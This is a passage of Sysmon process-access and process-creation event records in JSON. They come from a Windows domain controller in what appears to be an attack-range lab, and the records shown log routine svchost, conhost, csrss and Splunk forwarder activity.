CRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.790\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001035090300}\r\nProcessId: 4016\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001072080300}\r\nParentProcessId: 3996\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.790","ProcessGuid":"{90617006-3FE5-5F2D-0000-001035090300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001072080300}","ParentProcessId":"3996","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nSourceProcessId: 3996\r\nSourceThreadId: 4000\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nTargetProcessId: 4016\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","SourceProcessId":"3996","SourceThreadId":"4000","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","TargetProcessId":"4016","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nTargetProcessId: 4016\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","TargetProcessId":"4016","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-